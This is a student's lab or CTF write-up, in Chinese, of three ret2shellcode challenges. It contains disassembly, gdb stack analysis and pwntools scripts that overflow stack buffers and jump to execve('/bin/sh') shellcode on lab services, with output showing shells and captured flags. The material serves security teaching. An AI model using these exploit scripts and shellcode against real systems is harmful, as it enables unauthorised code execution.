

# Return2Shellcode

叶梓淳 520030910302

2023/3/27

## 1 ret2shellcode1

首先用 Ghidra 分析二进制文件得到反汇编代码。选取 main 函数对应代码如下：

- main 函数

---

```
1  undefined4 main(void)
2
3  {
4      size_t __len;
5      undefined local_3c [40];
6      void *local_14;
7      undefined *local_c;
8
9      local_c = &stack0x00000004;
10     setvbuf(stdout,(char *)0x0,2,0);
11     __len = getpagesize();
12     local_14 = mmap((void *)0x7000000,__len,6,0x31,-1,0);
13     printf("please input your secret:");
14     read(0,local_14,200);
15     printf("what\'s your name:");
16     read(0,local_3c,200);
17     return 1;
18 }
```

---

其中，local\_14 变量映射到了内存地址为 0x7000000 处的空间，并在后续 read 函数中被写入内容，之后另一个 read 函数在栈空间上的变量 local\_3c

里写入内容。因此，第一个想法便是在 local\_14 处写入 shellcode，再在 local\_3c 处输入计算好长度的字符串造成缓冲区溢出，改变 ret 后 eip 的值为 shellcode 的起始地址，即 0x7000000。

首先需要知道 local\_3c 存放地址与 ret 后 eip 的存放地址的距离，逐步调试程序得到下图：

```
0x8048591 <main+150>: mov ecx,DWORD PTR [ebp-0x4]
0x8048594 <main+153>: leave
0x8048595 <main+154>: lea esp,[ecx-0x4]
=> 0x8048598 <main+157>: ret
0x8048599: xchg ax,ax
0x804859b: xchg ax,ax
0x804859d: xchg ax,ax
0x804859f: nop
-----stack-----
0000| 0xffffdc4c --> 0xf7e05fa1 (<_libc_start_main+241>: add esp,0x10)
0004| 0xffffdc50 --> 0x1
0008| 0xffffdc54 --> 0xffffdce4 --> 0xffffd1e ("/home/test/chall/ret2shellcode1")
0012| 0xffffdc58 --> 0xffffdcec --> 0xffffd3e ("SSH_CONNECTION=10.0.0.1 51542 10.0.1.3 22")
0016| 0xffffdc5c --> 0xffffdc74 --> 0x0
0020| 0xffffdc60 --> 0x1
0024| 0xffffdc64 --> 0x0
0028| 0xffffdc68 --> 0xf7fc2000 --> 0x1d4d8c
-----]
Legend: code, data, rodata, value
0x8048598 in main ()
gdb-peda$ x/32wx 0xffffdc04
0xffffdc04: 0x62626262 0x00000a62 0xf7e1d39b 0xf7fc23fc
0xffffdc14: 0x00000000 0x00000000 0x00485eb 0x00000001
0xffffdc24: 0xffffdce4 0xffffdcec 0x07000000 0xf7fe5960
0xffffdc34: 0xffffdc50 0x00000000 0xf7e05fa1 0xf7fc2000
0xffffdc44: 0xf7fc2000 0x00000000 0xf7e05fa1 0x00000001
0xffffdc54: 0xffffdce4 0xffffdcec 0xffffdc74 0x00000001
0xffffdc64: 0x00000000 0xf7fc2000 0xf7fe570a 0xf7ffd000
0xffffdc74: 0x00000000 0xf7fc2000 0x00000000 0x00000000
gdb-peda$
```

则 local\_3c 起始地址为 0xffffdc04，ret 后 eip 存放地址为 0xffffdc4c，距离为 0x48。首先尝试使用如下脚本：

- 脚本 1

```
1 from pwn import *
2
3 io = remote("10.0.0.10", 40000)
4
5 io.recvuntil("secret:")
6
7 shellcode=b"\x99\xf7\xe2\x8d\x08\xbe\x2f\x2f\x73\x68\xbf
8 \x2f\x62\x69\x6e\x51\x56\x57\x8d\x1c\x24\xb0\x0b\xcd\x80"
9
10 io.send(shellcode)
11
12 io.recvuntil("name:")
13
14 io.send(b'a'*0x44 + p32(0x07000000))
15
```

```
16 io.interactive()
```

---

运行脚本 1，程序异常退出，查看汇编代码得知 ebp 存放地址为 0xffffd38，在填充空间内，并且 ebp 地址的上一四字节存放值将赋值给 ecx，最后将 [ecx-0x4] 处存放的值赋值给 esp，esp 的后 4 字节赋值给 eip 并运行。于是，将脚本修改为如下：

- 脚本 2

---

```
18 from pwn import *
19
20 io = remote("10.0.0.10", 40000)
21 io.recvuntil("secret:")
22
23 shellcode=b"\x99\xf7\xe2\x8d\x08\xbe\x2f\x2f\x73\x68\xbf
24 \x2f\x62\x69\x6e\x51\x56\x57\x8d\x1c\x24\xb0\x0b\xcd\x80"
25
26 io.send(b'a'*0x10 + p32(0x07000014) + shellcode)
27
28 io.recvuntil("name:")
29
30 io.send(b'a'*0x30 + p32(0x07000014))
31
32 io.interactive()
```

---

即把 ecx 值更改为 0x07000014，这样 esp 值也便于修改，指向 shellcode 起始地址 0x07000014，不会引发程序异常退出。

运行结果如下，得到 flag。

```
"exe.py" [New] 15L, 322C written
test@9-3:~/challs python exe.py
[*] Checking for new versions of pwntools
  To disable this functionality, set the contents of /home/test/.cache/pwntools-cache-3.6/update to 'never' (old way).
  Or add the following lines to ~/.pwn.conf or ~/.config/pwn.conf (or /etc/pwn.conf system-wide):
      [update]
      interval=never
[!] An issue occurred while checking PyPI
[*] You have the latest version of Pwntools (4.9.0)
[*] Opening connection to 10.0.0.10 on port 40000: Done
Exception in thread Thread-1:
Traceback (most recent call last):
  File "/usr/lib/python3.6/threading.py", line 916, in _bootstrap_inner
    self.run()
  File "/usr/lib/python3.6/threading.py", line 864, in run
    self._target(*self._args, **self._kwargs)
  File "/usr/local/lib/python3.6/dist-packages/pwmlib/log.py", line 572, in spin
    spinner_handle.update(prefix)
  File "/usr/local/lib/python3.6/dist-packages/pwmlib/term/term.py", line 195, in update
    update(self.h, s)
  File "/usr/local/lib/python3.6/dist-packages/pwmlib/term/term.py", line 544, in update
    render.from(i, clear_after = True)
  File "/usr/local/lib/python3.6/dist-packages/pwmlib/term/term.py", line 462, in render_from
    render.cell(c, clear_after = clear_after)
  File "/usr/local/lib/python3.6/dist-packages/pwmlib/term/term.py", line 365, in render_cell
    put(c)
  File "/usr/local/lib/python3.6/dist-packages/pwmlib/term/term.py", line 172, in put
    fd.write(s)
UnicodeEncodeError: 'ascii' codec can't encode character '\u2581' in position 0: ordinal not in range(128)
[*] Switching to interactive mode
$ ls
flag
ret2shellcode
start.sh
$ cat flag
flag(basic_basic_ret2shellcode)
```

## 2 ret2shellcode2

首先用 Ghidra 分析二进制文件得到反汇编代码，观察到只有 `_start` 和 `_exit` 两个函数，因此此题源码不是 C 代码，而直接是汇编代码写成。  
`_start` 函数如下：

20				
21	08048060	54	PUSH	ESP=>local_4
22	08048061	68 9d 80	PUSH	_exit
23		04 08		
24	08048066	31 c0	XOR	EAX,EAX
25	08048068	31 db	XOR	EBX,EBX
26	0804806a	31 c9	XOR	ECX,ECX
27	0804806c	31 d2	XOR	EDX,EDX
28	0804806e	68 43 54	PUSH	0x3a465443
29		46 3a		
30	08048073	68 74 68	PUSH	0x20656874
31		65 20		
32	08048078	68 61 72	PUSH	0x20747261
33		74 20		
34	0804807d	68 73 20	PUSH	0x74732073
35		73 74		
36	08048082	68 4c 65	PUSH	0x2774654c
37		74 27		

```

38      08048087 89 e1      MOV     ECX,ESP
39      08048089 b2 14      MOV     DL,0x14
40      0804808b b3 01      MOV     BL,0x1
41      0804808d b0 04      MOV     AL,0x4
42      0804808f cd 80      INT     0x80
43      08048091 31 db      XOR     EBX,EBX
44      08048093 b2 3c      MOV     DL,0x3c
45      08048095 b0 03      MOV     AL,0x3
46      08048097 cd 80      INT     0x80
47      08048099 83 c4 14      ADD     ESP,0x14
48      0804809c c3          RET

```

---

查阅系统调用的资料得知，程序执行了两个函数：

---

```

50      write(1, esp, 0x14); // 从栈上读20个字节到标准输出（读内存）
51      read(0, esp, 0x3c); // 从标准输入写60个字节到栈上（写内存）

```

---

结合保护程序：

```

[!] An issue occurred while checking PyPI
[*] You have the latest version of Pwntools (4.9.0)
[*] '/home/test/ret2sc2'
Arch:      i386-32-little
RELRO:     No RELRO
Stack:     No canary found
NX:        NX disabled
PIE:       No PIE (0x8048000)
test@9-4:~$

```

可以使用栈溢出，然后执行 shellcode。shellcode 只能写到栈上，但栈的地址未知。又因为 write 函数的存在，观察到 ret 指令前执行了 ADD ESP,0x14，则可以在 read 输入时计算好 padding 长度 (0x14) 以及跳转到的 eip 地址 (mov ECX,ESP)，将最开始存入的 esp 值通过 write 函数打印出来，同时修改 ret 后的 eip 地址为 shellcode 地址。脚本如下：

- 脚本 3

---

```

34      from pwn import *
35
36      io = remote("10.0.0.10", 40001)
37

```

```

38 io.recvuntil("CTF:")
39
40 io.send(b'a'*0x14 + p32(0x08048087))
41
42 stack_address = u32(io.recv(4))
43
44 shellcode=b"\x99\xf7\xe2\x8d\x08\xbe\x2f\x2f\x73\x68\xbf
45 \x2f\x62\x69\x6e\x51\x56\x57\x8d\x1c\x24\xb0\x0b\xcd\x80"
46
47 io.send(b'a'*0x14 + p32(stack_address + 0x14) + shellcode)
48
49 io.interactive()

```

---

运行结果如下，得到 flag。

```

"exe.py" 17L, 339C written
test@9-4:~$ python exe.py
[+] Opening connection to 10.0.0.10 on port 40001: Done
[*] Switching to interactive mode
\x00\x00\xbf\xb6\xff\x00\x00K\xbf\xb6\xff$ ls
flag
ret2sc2
start.sh
$ cat flag
flag{start_basic_stack_ret2shellcode}
$
[*] Interrupted
[*] Closed connection to 10.0.0.10 port 40001
test@9-4:~$

```

### 3 ret2shellcode3

第三题相比第二题，write 函数的系统调用变成了两条空指令，也就是无法通过 write 函数得到栈的地址。由于 RELRO 关闭，或许可以通过某种方式找到栈地址，调试时候发现栈底存的 ESP 的值和输出的值并不同，尝试无果，遂作罢。